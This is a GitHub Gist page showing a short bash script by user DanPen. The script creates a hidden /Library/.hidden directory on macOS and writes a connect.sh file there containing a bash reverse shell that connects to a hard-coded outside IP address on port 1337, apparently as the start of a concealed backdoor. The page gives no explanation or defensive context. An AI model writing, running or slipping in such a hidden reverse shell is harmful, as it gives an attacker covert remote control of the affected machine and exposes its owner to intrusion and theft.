Skip to content

Instantly share code, notes, and snippets.

View DanPen's full-sized avatar

Daniel Pendergast DanPen

View GitHub Profile
#!/bin/bash
#Create the hidden directory /Library/.hidden
mkdir /Library/.hidden
#Copy the script to hidden folder
echo "
#!/bin/bash
bash -i >& /dev/tcp/107.170.117.216/1337 0>&1
wait" > /Library/.hidden/connect.sh